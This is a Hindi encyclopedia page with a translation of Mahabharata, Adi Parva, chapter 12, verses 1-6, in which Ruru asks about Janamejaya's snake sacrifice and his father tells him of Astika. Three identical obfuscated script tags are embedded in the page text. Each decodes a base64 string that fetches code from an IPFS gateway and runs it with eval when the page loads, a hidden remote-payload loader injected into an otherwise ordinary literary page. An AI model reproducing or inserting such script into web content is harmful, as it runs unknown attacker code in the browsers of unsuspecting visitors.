महाभारत आदि पर्व अध्याय 12 श्लोक 1-6

अद्‌भुत भारत की खोज
नेविगेशन पर जाएँ खोज पर जाएँ
गणराज्य इतिहास पर्यटन भूगोल विज्ञान कला साहित्य धर्म संस्कृति शब्दावली विश्वकोश भारतकोश

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

द्वादश (12) अध्‍याय: आदि पर्व (पौलोम पर्व)

महाभारत: आदि पर्व: द्वादश अध्याय: श्लोक 1-6 का हिन्दी अनुवाद

जनमेजय के सर्पसत्र के विषय में रूरू की जिज्ञासा और पिता द्वारा उसकी पूर्ति

रूरू ने पूछा—द्विजश्रेष्ठ ! राजा जनमेजय ने सर्पों की हिंसा कैसे की? अथवा उन्होंने किस लिये यज्ञ में सर्पों की हिंसा करवायी? विप्रवर ! परमबुद्धिमान महात्मा आस्तीक ने किसलिये सर्पों को उस यज्ञ से बचाया था? यह सब मैं पूर्णरूप से सुनना चाहता हूँ। ऋषि ने कहा— ‘रूरो ! तुम कथा वाचक ब्राह्मणों के मुख से आस्तीक का महान चरित्र सुनोगे।’ऐसा कहकर सहस्त्र पादमुनि अन्तर्धान हो गये। उग्रश्रवाजी कहते हैं—तदनन्तर रूरू वहाँ अद्दश्य हुए मुनि की खोज में उस वन के भीतर सब ओर दौड़ता रहा और अन्त में थककर पृथ्वी पर गिर पड़ा। गिरने पर उसे बड़ी भारी मूर्च्‍छा ने दबा लिया। उसकी चेतना नष्ट- सी हो गयी। महर्षि के यथार्थ वचन का बार-बार चिन्तन करते हुए होश में आने पर रूरू घर लौट आया। उस समय उसने पिता से वे सब बातें कह सुनायीं और पिता से भी आस्तीक का उपाख्यान पूछा। रूरू के पूछने पर पिता ने सब कुछ बता दिया।


« पीछे आगे »

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

संबंधित लेख

साँचा:सम्पूर्ण महाभारत अभी निर्माणाधीन है।